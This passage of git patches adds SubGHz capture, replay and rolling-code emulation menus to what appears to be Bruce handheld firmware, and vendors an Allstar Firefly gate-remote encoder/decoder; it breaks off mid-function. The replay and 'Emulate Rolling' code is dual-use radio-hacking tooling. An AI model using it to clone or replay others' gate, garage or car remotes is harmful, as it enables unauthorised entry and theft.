@@ -563,6 +665,11 @@ void display_signal_data(RfCodes received) {
         }
     }
 
+    if (received.detected_key_hex.length()) padprintln("Detected Key: " + received.detected_key_hex);
+    if (received.detected_serial.length()) padprintln("Detected Sn: " + received.detected_serial);
+    if (received.detected_button.length()) padprintln("Detected Btn: " + received.detected_button);
+    if (received.detected_counter.length()) padprintln("Detected Cnt: " + received.detected_counter);
+
     // if (bruceConfigPins.rfModule == CC1101_SPI_MODULE) {
     //     int rssi = ELECHOUSE_cc1101.getRssi();
     //     tft.drawPixel(0, 0, 0);
@@ -616,6 +723,7 @@ bool RCSwitch_SaveSignal(float frequency, RfCodes codes, bool raw, char *key, bo
             subfile_out += "Key: " + String(key) + "\n";
         }
         subfile_out += "TE: " + String(codes.te) + "\n";
+        appendDetectedMetadata(subfile_out, codes);
         filename = "rcs.sub";
         // subfile_out += "RAW_Data: " + codes.data;
     } else {
@@ -628,7 +736,8 @@ bool RCSwitch_SaveSignal(float frequency, RfCodes codes, bool raw, char *key, bo
 
         subfile_out += "Preset: " + String(codes.preset) + "\n";
         subfile_out += "Protocol: RAW\n";
-        subfile_out += "RAW_Data: " + codes.data;
+        subfile_out += "RAW_Data: " + codes.data + "\n";
+        appendDetectedMetadata(subfile_out, codes);
         filename = "raw.sub";
     }
 
@@ -767,6 +876,8 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 // Serial.println(received.data);
                 decimalToHexString(received.key, hexString);
 
+                enrichLegacyWithAdvancedDecoder(received, false);
+
                 if (!headless) display_info(received, 1, raw);
             }
             rcswitch.resetAvailable();
@@ -792,6 +903,7 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 received.preset = "0";
                 received.filepath = "unsaved";
                 // NOTE: do NOT clear received.data here - it was just built above
+                enrichLegacyWithAdvancedDecoder(received, true);
                 if (!headless) display_info(received, 1, raw);
             } else {
                 received.data = ""; // too few transitions - discard
@@ -810,6 +922,7 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 // TODO: show a dialog/warning?
                 // raw = yesNoDialog("decoding failed, save as RAW?");
             }
+            enrichLegacyWithAdvancedDecoder(received, raw || received.protocol == "RAW");
             String subfile_out = "Filetype: Bruce SubGhz File\nVersion 1\n";
             subfile_out += "Frequency: " + String(int(frequency * 1000000)) + "\n";
             if (!raw) {
@@ -818,13 +931,15 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 subfile_out += "Bit: " + String(received.Bit) + "\n";
                 subfile_out += "Key: " + String(hexString) + "\n";
                 subfile_out += "TE: " + String(received.te) + "\n";
+                appendDetectedMetadata(subfile_out, received);
             } else {
                 // save as raw
                 if (received.preset == "1") received.preset = "FuriHalSubGhzPresetOok270Async";
                 else if (received.preset == "2") received.preset = "FuriHalSubGhzPresetOok650Async";
                 subfile_out += "Preset: " + String(received.preset) + "\n";
                 subfile_out += "Protocol: RAW\n";
-                subfile_out += "RAW_Data: " + received.data;
+                subfile_out += "RAW_Data: " + received.data + "\n";
+                appendDetectedMetadata(subfile_out, received);
             }
             // headless mode
             return subfile_out;
diff --git a/src/modules/rf/structs.h b/src/modules/rf/structs.h
index 0e0ed5e62..ebcf6be7a 100644
--- a/src/modules/rf/structs.h
+++ b/src/modules/rf/structs.h
@@ -32,9 +32,14 @@ struct RfCodes {
     uint32_t encrypted = 0;
     uint8_t btn = 0;
     String mf_name = "Unknown";
-    String protocol = "";
-    String preset = "";
-    String data = "";
+    String protocol = "";
+    String detected_protocol = "";
+    String detected_key_hex = "";
+    String detected_counter = "";
+    String detected_button = "";
+    String detected_serial = "";
+    String preset = "";
+    String data = "";
     int te = 0;
     std::vector<int> indexed_durations;
     String filepath = "";
diff --git a/src/modules/subghz_advanced/subghz_advanced_menu.cpp b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
index 04ee5148c..f5a43f18f 100644
--- a/src/modules/subghz_advanced/subghz_advanced_menu.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
@@ -3,6 +3,8 @@
 #include "core/display.h"
 #include "core/sd_functions.h"
 #include "core/utils.h"
+#include "modules/rf/rf_scan.h"
+#include "modules/rf/rf_send.h"
 #include "modules/rf/rf_utils.h"
 #include "subghz_advanced_engine.h"
 
@@ -11,6 +13,56 @@
 static SubGhzAdvancedEngine& eng = SubGhzAdvancedEngine::instance();
 static String lastTxPath = "";
 static bool lastTxOnSd = false;
+static bool hasLastCapturedFrame = false;
+static bool hasLastCapturedText = false;
+static SubGhzAdvancedFrame lastCapturedFrame;
+static String lastCapturedText = "";
+
+static uint64_t parseHexU64(String value) {
+    value.trim();
+    value.replace(" ", "");
+    if(value.startsWith("0x") || value.startsWith("0X")) value = value.substring(2);
+    if(value.length() == 0) return 0;
+    return strtoull(value.c_str(), NULL, 16);
+}
+
+static uint32_t parseFlexibleU32(String value) {
+    value.trim();
+    if(value.length() == 0) return 0;
+
+    bool asHex = value.startsWith("0x") || value.startsWith("0X");
+    if(!asHex) {
+        for(size_t i = 0; i < value.length(); i++) {
+            char c = value[i];
+            if((c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
+                asHex = true;
+                break;
+            }
+        }
+    }
+
+    if(asHex && (value.startsWith("0x") || value.startsWith("0X"))) value = value.substring(2);
+    return strtoul(value.c_str(), NULL, asHex ? 16 : 10);
+}
+
+static String extractNoteValue(const String& notes, const String& key) {
+    int start = notes.indexOf(key);
+    if(start < 0) return "";
+    start += key.length();
+    while(start < (int)notes.length() && notes[start] == ' ') start++;
+
+    int end = notes.indexOf(';', start);
+    if(end < 0) end = notes.length();
+    String out = notes.substring(start, end);
+    out.trim();
+    return out;
+}
+
+static String extractManufacturerFromNotes(const String& notes) {
+    String mf = extractNoteValue(notes, "MF:");
+    if(mf.length()) return mf;
+    return extractNoteValue(notes, "Manufacturer=");
+}
 
 static void showFrame(const SubGhzAdvancedFrame& f, const String& title) {
     drawMainBorderWithTitle(title);
@@ -30,6 +82,120 @@ static void showFrame(const SubGhzAdvancedFrame& f, const String& title) {
     while(check(AnyKeyPress)) delay(20);
 }
 
+static bool transmitCaptureText(const String& capture, bool hideDefaultUI = false) {
+    if(capture.length() == 0) return false;
+
+    const char* tmpPath = "/.subghz_adv_scan_copy_tmp.sub";
+    File out = LittleFS.open(tmpPath, FILE_WRITE, true);
+    if(!out) return false;
+    out.print(capture);
+    out.close();
+
+    RfCodes code{};
+    bool ok = readSubFile(&LittleFS, tmpPath, code) && txSubFile(code, hideDefaultUI);
+    LittleFS.remove(tmpPath);
+    return ok;
+}
+
+static bool captureAndDecodeAdvanced(int timeoutSec = 10) {
+    String capture = RCSwitch_Read(bruceConfigPins.rfFreq, timeoutSec, true, true);
+    if(capture.length() == 0) return false;
+
+    SubGhzAdvancedFrame frame = eng.analyzeSubFileText(capture, "scan-copy");
+    if(!frame.valid) return false;
+
+    hasLastCapturedFrame = true;
+    hasLastCapturedText = true;
+    lastCapturedFrame = frame;
+    lastCapturedText = capture;
+    return true;
+}
+
+static bool frameToRollingCode(const SubGhzAdvancedFrame& frame, RfCodes& out) {
+    out = {};
+    out.protocol = "RcSwitch";
+    out.preset = "1";
+    out.frequency = frame.frequency_hz ? frame.frequency_hz : uint32_t(bruceConfigPins.rfFreq * 1000000.0f);
+    out.Bit = frame.bit_count > 0 ? frame.bit_count : 64;
+    out.key = parseHexU64(frame.key_hex);
+    out.te = parseFlexibleU32(extractNoteValue(frame.notes, "TE="));
+    if(out.te == 0) out.te = 350;
+
+    String mf = extractManufacturerFromNotes(frame.notes);
+    if(mf.length()) out.mf_name = mf;
+    if(frame.button.length()) out.btn = uint8_t(parseFlexibleU32(frame.button));
+    if(frame.serial.length()) out.serial = uint32_t(parseHexU64(frame.serial));
+    if(frame.counter.length()) out.cnt = uint16_t(parseFlexibleU32(frame.counter));
+
+    if(out.key) {
+        uint64_t yek = reverse_bits(out.key, 64);
+        out.fix = uint32_t(yek >> 32);
+        out.encrypted = uint32_t(yek & 0xFFFFFFFFUL);
+        if(out.btn == 0) out.btn = uint8_t(out.fix >> 28);
+        if(out.serial == 0) out.serial = uint32_t((yek >> 32) & 0x0FFFFFFFUL);
+        if(out.cnt == 0) out.cnt = uint16_t(out.encrypted & 0xFFFF);
+    }
+
+    return out.key != 0 || out.serial != 0;
+}
+
+static bool chooseRecentFrame(SubGhzAdvancedFrame& out, const char* title = "Rolling Source") {
+    const auto& recent = eng.getRecent();
+    if(recent.empty()) return false;
+
+    size_t selected = SIZE_MAX;
+    std::vector<Option> opts;
+    for(size_t i = 0; i < recent.size(); i++) {
+        String label = String(i + 1) + ") " + recent[i].protocol_name;
+        opts.emplace_back(label, [i, &selected]() { selected = i; });
+    }
+    addOptionToMainMenu();
+    loopOptions(opts, MENU_TYPE_SUBMENU, title);
+    if(selected == SIZE_MAX || selected >= recent.size()) return false;
+    out = recent[selected];
+    return true;
+}
+
+static void showRollingPreview(const RfCodes& code, const SubGhzAdvancedFrame& frame) {
+    drawMainBorderWithTitle("Rolling Preview");
+    padprintln("Proto: " + frame.protocol_name);
+    padprintln("Freq: " + String(code.frequency));
+    if(code.mf_name.length()) padprintln("MF: " + code.mf_name);
+    if(code.serial) padprintln("Serial: " + String(code.serial, HEX));
+    padprintln("Btn: " + String(code.btn));
+    padprintln("Counter: " + String(code.cnt));
+    if(code.key) padprintln("Key: " + frame.key_hex);
+    padprintln("");
+    padprintln("Press any key to return");
+    while(!check(AnyKeyPress)) delay(20);
+    while(check(AnyKeyPress)) delay(20);
+}
+
+static void rollingToolsForFrame(const SubGhzAdvancedFrame& frame) {
+    RfCodes rolling{};
+    if(!frameToRollingCode(frame, rolling)) {
+        displayError("Frame has no rolling/key data", true);
+        return;
+    }
+
+    std::vector<Option> roll = {
+        {"Preview", [rolling, frame]() { showRollingPreview(rolling, frame); }},
+        {"Send Once", [rolling]() {
+             sendRfCommand(rolling);
+             addToRecentCodes(rolling);
+         }},
+    };
+
+    if(rolling.serial != 0) {
+        roll.push_back({"Emulate Rolling", [rolling]() mutable { loopEmulate(rolling); }});
+    } else {
+        roll.push_back({"Emulate Rolling (N/A)", []() { displayInfo("Needs serial/rolling fields", true); }});
+    }
+
+    addOptionToMainMenu();
+    loopOptions(roll, MENU_TYPE_SUBMENU, "Rolling Interface");
+}
+
 static bool chooseSubFile(FS*& fs, String& path) {
     fs = &LittleFS;
     options = {
@@ -59,9 +225,30 @@ static void actionScanAndIdentify() {
         displayError("No signal decoded", true);
         return;
     }
+    hasLastCapturedFrame = true;
+    lastCapturedFrame = frame;
     showFrame(frame, "SubGHz Identify");
 }
 
+static void actionScanCopy() {
+    if(!captureAndDecodeAdvanced(10)) {
+        displayError("No signal captured", true);
+        return;
+    }
+
+    std::vector<Option> copy = {
+        {"View Decode", []() { showFrame(lastCapturedFrame, "Scan/Copy"); }},
+        {"Replay Capture", []() {
+             if(!hasLastCapturedText || !transmitCaptureText(lastCapturedText, false)) {
+                 displayError("Replay failed", true);
+             }
+         }},
+        {"Rolling Tools", []() { rollingToolsForFrame(lastCapturedFrame); }},
+    };
+    addOptionToMainMenu();
+    loopOptions(copy, MENU_TYPE_SUBMENU, "Scan/Copy");
+}
+
 static void actionAnalyzeSubFile() {
     FS* fs = nullptr;
     String path = "";
@@ -144,6 +331,60 @@ static void actionRecent() {
     loopOptions(opts, MENU_TYPE_SUBMENU, "SubGHz Recent");
 }
 
+static void actionDecoderRegistry() {
+    const auto& protocols = eng.getEnabledProtocolNames();
+    if(protocols.empty()) {
+        displayInfo("No registry loaded", true);
+        return;
+    }
+
+    std::vector<Option> opts;
+    for(const auto& p : protocols) {
+        opts.emplace_back(p, [p]() { displayInfo(p, true); });
+    }
+    addOptionToMainMenu();
+    loopOptions(opts, MENU_TYPE_SUBMENU, "Decoder Registry");
+}
+
+static void actionDecoderMenu() {
+    String lastLabel = hasLastCapturedFrame ? "Show Last Decode" : "Show Last Decode (N/A)";
+    std::vector<Option> decoder = {
+        {"Capture & Decode", actionScanAndIdentify},
+        {lastLabel, []() {
+             if(!hasLastCapturedFrame) {
+                 displayInfo("No last decode", true);
+                 return;
+             }
+             showFrame(lastCapturedFrame, "Last Decode");
+         }},
+        {"Protocol Registry", actionDecoderRegistry},
+    };
+    addOptionToMainMenu();
+    loopOptions(decoder, MENU_TYPE_SUBMENU, "Decoder Interface");
+}
+
+static void actionRollingMenu() {
+    std::vector<Option> rolling = {
+        {"Use Last Decode", []() {
+             if(!hasLastCapturedFrame) {
+                 displayInfo("No last decode", true);
+                 return;
+             }
+             rollingToolsForFrame(lastCapturedFrame);
+         }},
+        {"Choose From Recent", []() {
+             SubGhzAdvancedFrame frame;
+             if(!chooseRecentFrame(frame, "Rolling Source")) {
+                 displayInfo("No frame selected", true);
+                 return;
+             }
+             rollingToolsForFrame(frame);
+         }},
+    };
+    addOptionToMainMenu();
+    loopOptions(rolling, MENU_TYPE_SUBMENU, "Rolling");
+}
+
 static void actionSettings() {
     int idx = eng.getProfile() == SubGhzAdvancedProfile::FULL ? 1 : 0;
 
@@ -160,6 +401,9 @@ static void actionSettings() {
 static void actionRxMenu() {
     std::vector<Option> rx = {
         {"Scan & Identify", actionScanAndIdentify},
+        {"Scan/Copy", actionScanCopy},
+        {"Decoder UI", actionDecoderMenu},
+        {"Rolling UI", actionRollingMenu},
     };
     addOptionToMainMenu();
     loopOptions(rx, MENU_TYPE_SUBMENU, "SubGHz RX");

From 58530a137d013665330e1305e1414e47f6e13c7c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 10:05:30 -0300
Subject: [PATCH 64/73] Add Allstar Firefly, KeyFinder, and Nord ICE SubGHz
 protocols

- Introduced Allstar Firefly protocol with support for encoding, decoding, and file handling.
- Implemented KeyFinder protocol for key detection and transmission with customizable repeat settings.
- Added Nord ICE protocol for remote control functionality, including serialization and deserialization methods.
- Each protocol includes necessary header files, allocation, and free functions, along with detailed documentation.
---
 lib/subghz_unleashed_bridge/library.json      |   5 +-
 lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt  |   2 +-
 .../src/subghz/protocols/allstar_firefly.c    | 376 ++++++++++++++++++
 .../src/subghz/protocols/allstar_firefly.h    | 143 +++++++
 .../src/subghz/protocols/came_atomo.c         |  56 ++-
 .../src/subghz/protocols/came_twee.c          |  12 +-
 .../src/subghz/protocols/faac_slh.c           |  77 ++--
 .../src/subghz/protocols/keeloq.c             | 100 ++++-
 .../src/subghz/protocols/keeloq_common.c      |  94 +++++
 .../src/subghz/protocols/keeloq_common.h      |  20 +
 .../src/subghz/protocols/keyfinder.c          | 363 +++++++++++++++++
 .../src/subghz/protocols/keyfinder.h          | 109 +++++
 .../src/subghz/protocols/kinggates_stylo_4k.c |   2 +-
 .../src/subghz/protocols/nice_flo.c           |  10 +-
 .../src/subghz/protocols/nord_ice.c           | 350 ++++++++++++++++
 .../src/subghz/protocols/nord_ice.h           | 109 +++++
 .../src/subghz/protocols/protocol_items.c     |   3 +-
 .../src/subghz/protocols/protocol_items.h     |   4 +-
 .../src/subghz/protocols/public_api.h         |   2 +-
 .../src/subghz/protocols/raw.c                |   4 -
 ref/unleashed-firmware                        |   2 +-
 .../subghz_advanced_commands.cpp              |  30 ++
 .../subghz_advanced_decoder_adapter.cpp       |  34 +-
 .../subghz_advanced_decoder_adapter.h         |   5 +
 .../subghz_advanced_engine.cpp                |  28 +-
 .../subghz_advanced/subghz_advanced_engine.h  |   1 +
 26 files changed, 1853 insertions(+), 88 deletions(-)
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.h

diff --git a/lib/subghz_unleashed_bridge/library.json b/lib/subghz_unleashed_bridge/library.json
index 8a6361ed2..c85a0e43b 100644
--- a/lib/subghz_unleashed_bridge/library.json
+++ b/lib/subghz_unleashed_bridge/library.json
@@ -72,7 +72,10 @@
       "+<subghz/protocols/smc5326.c>",
       "+<subghz/protocols/somfy_keytis.c>",
       "+<subghz/protocols/somfy_telis.c>",
-      "+<subghz/protocols/treadmill37.c>"
+      "+<subghz/protocols/treadmill37.c>",
+      "+<subghz/protocols/keyfinder.c>",
+      "+<subghz/protocols/nord_ice.c>",
+      "+<subghz/protocols/allstar_firefly.c>"
     ]
   }
 }
diff --git a/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt b/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt
index a2b1d20d5..7bb3193d6 100644
--- a/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt
+++ b/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt
@@ -1,5 +1,5 @@
 source_repo: https://github.com/DarkFlippers/unleashed-firmware
 source_path: lib/subghz
-source_commit: 8236079122d9
+source_commit: 44ff715a3e2247db8864c76fc6c256be0571d355
 snapshot_date: 2026-05-23
 policy: vendor_files_are_immutable
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.c
new file mode 100644
index 000000000..8f85a397f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/allstar_firefly.c
@@ -0,0 +1,376 @@
+/**
+ * allstar_firefly.c  --  Allstar Firefly 318ALD31K native SubGHz protocol
+ *
+ * Implements the SubGhzProtocol vtable for the Supertex ED-9 based gate remote.
+ * Uses subghz_block_generic_serialize / deserialize for standard-format .sub
+ * files, encoding the 9-position trinary DIP code as a uint64 (base-3, MSB
+ * first: '+' = 2, '0' = 3, '-' = 0).
+ *
+ * Saved file format:
+ *   Filetype: Flipper SubGhz Key File
+ *   Version: 1
+ *   Frequency: 318000000
+ *   Preset: FuriHalSubGhzPresetOok650Async
+ *   Protocol: Allstar Firefly
+ *   Key: 00 00 00 00 00 00 34 B9
+ *   Bit: 18
+ *
+ * See allstar_firefly.h for full protocol documentation.
+ */
+
+#include "allstar_firefly.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "AllstarFirefly"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
+
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0x10) & 0x3) == check_dip) ? '*' : '_'),    \
+        ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_allstar_firefly_const = {
+    .te_short = 600,
+    .te_long = 4000,
+    .te_delta = 300,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderAllstarFirefly {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderAllstarFirefly {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    AllstarFireflyDecoderStepReset = 0,
+    AllstarFireflyDecoderStepSaveDuration,
+    AllstarFireflyDecoderStepCheckDuration,
+} AllstarFireflyDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_allstar_firefly_decoder = {
+    .alloc = subghz_protocol_decoder_allstar_firefly_alloc,
+    .free = subghz_protocol_decoder_allstar_firefly_free,
+
+    .feed = subghz_protocol_decoder_allstar_firefly_feed,
+    .reset = subghz_protocol_decoder_allstar_firefly_reset,
+
+    .get_hash_data = subghz_protocol_decoder_allstar_firefly_get_hash_data,
+    .serialize = subghz_protocol_decoder_allstar_firefly_serialize,
+    .deserialize = subghz_protocol_decoder_allstar_firefly_deserialize,
+    .get_string = subghz_protocol_decoder_allstar_firefly_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_allstar_firefly_encoder = {
+    .alloc = subghz_protocol_encoder_allstar_firefly_alloc,
+    .free = subghz_protocol_encoder_allstar_firefly_free,
+
+    .deserialize = subghz_protocol_encoder_allstar_firefly_deserialize,
+    .stop = subghz_protocol_encoder_allstar_firefly_stop,
+    .yield = subghz_protocol_encoder_allstar_firefly_yield,
+};
+
+const SubGhzProtocol subghz_protocol_allstar_firefly = {
+    .name = SUBGHZ_PROTOCOL_ALLSTAR_FIREFLY_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_allstar_firefly_decoder,
+    .encoder = &subghz_protocol_allstar_firefly_encoder,
+};
+
+void* subghz_protocol_encoder_allstar_firefly_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderAllstarFirefly* instance =
+        malloc(sizeof(SubGhzProtocolEncoderAllstarFirefly));
+
+    instance->base.protocol = &subghz_protocol_allstar_firefly;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 5;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_allstar_firefly_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAllstarFirefly* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderAllstarFirefly instance
+ */
+static void subghz_protocol_encoder_allstar_firefly_get_upload(
+    SubGhzProtocolEncoderAllstarFirefly* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_allstar_firefly_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)(subghz_protocol_allstar_firefly_const.te_short * 50) + 400);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_allstar_firefly_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_allstar_firefly_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)(subghz_protocol_allstar_firefly_const.te_short * 50) + 400);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_allstar_firefly_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_allstar_firefly_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAllstarFirefly* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_allstar_firefly_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_allstar_firefly_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_allstar_firefly_stop(void* context) {
+    SubGhzProtocolEncoderAllstarFirefly* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_allstar_firefly_yield(void* context) {
+    SubGhzProtocolEncoderAllstarFirefly* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_allstar_firefly_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderAllstarFirefly* instance =
+        malloc(sizeof(SubGhzProtocolDecoderAllstarFirefly));
+    instance->base.protocol = &subghz_protocol_allstar_firefly;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_allstar_firefly_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_allstar_firefly_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+    instance->decoder.parser_step = AllstarFireflyDecoderStepReset;
+}
+
+void subghz_protocol_decoder_allstar_firefly_feed(
+    void* context,
+    bool level,
+    volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAllstarFirefly* instance = context;
+
+    // Allstar Firefly Decoder
+    // 2026 - by @jlaughter
+    // Remake to match other protocols code base - @xMasterX (MMX)
+
+    switch(instance->decoder.parser_step) {
+    case AllstarFireflyDecoderStepReset:
+        if((!level) &&
+           (DURATION_DIFF(duration, subghz_protocol_allstar_firefly_const.te_short * 50) <
+            subghz_protocol_allstar_firefly_const.te_delta * 5)) {
+            // 30k us
+            // Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = AllstarFireflyDecoderStepSaveDuration;
+        }
+        break;
+    case AllstarFireflyDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = AllstarFireflyDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = AllstarFireflyDecoderStepReset;
+        }
+        break;
+    case AllstarFireflyDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is long and short timing = 4000us HIGH (te_last) and 600us LOW
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_allstar_firefly_const.te_long) <
+                subghz_protocol_allstar_firefly_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_allstar_firefly_const.te_short) <
+                subghz_protocol_allstar_firefly_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = AllstarFireflyDecoderStepSaveDuration;
+                // Bit 0 is short and long timing = 600us HIGH (te_last) and 4000us LOW
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_allstar_firefly_const.te_short) <
+                 subghz_protocol_allstar_firefly_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_allstar_firefly_const.te_long) <
+                 subghz_protocol_allstar_firefly_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = AllstarFireflyDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_allstar_firefly_const.te_short * 50) <
+                subghz_protocol_allstar_firefly_const.te_delta * 5) {
+                // Found next GAP and add bit 0 or 1
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_allstar_firefly_const.te_long) <
+                    subghz_protocol_allstar_firefly_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if((DURATION_DIFF(
+                        instance->decoder.te_last,
+                        subghz_protocol_allstar_firefly_const.te_short) <
+                    subghz_protocol_allstar_firefly_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                // If got 18 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_allstar_firefly_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = AllstarFireflyDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = AllstarFireflyDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = AllstarFireflyDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_allstar_firefly_get_hash_data(void* context) {
+    furi_assert(context);
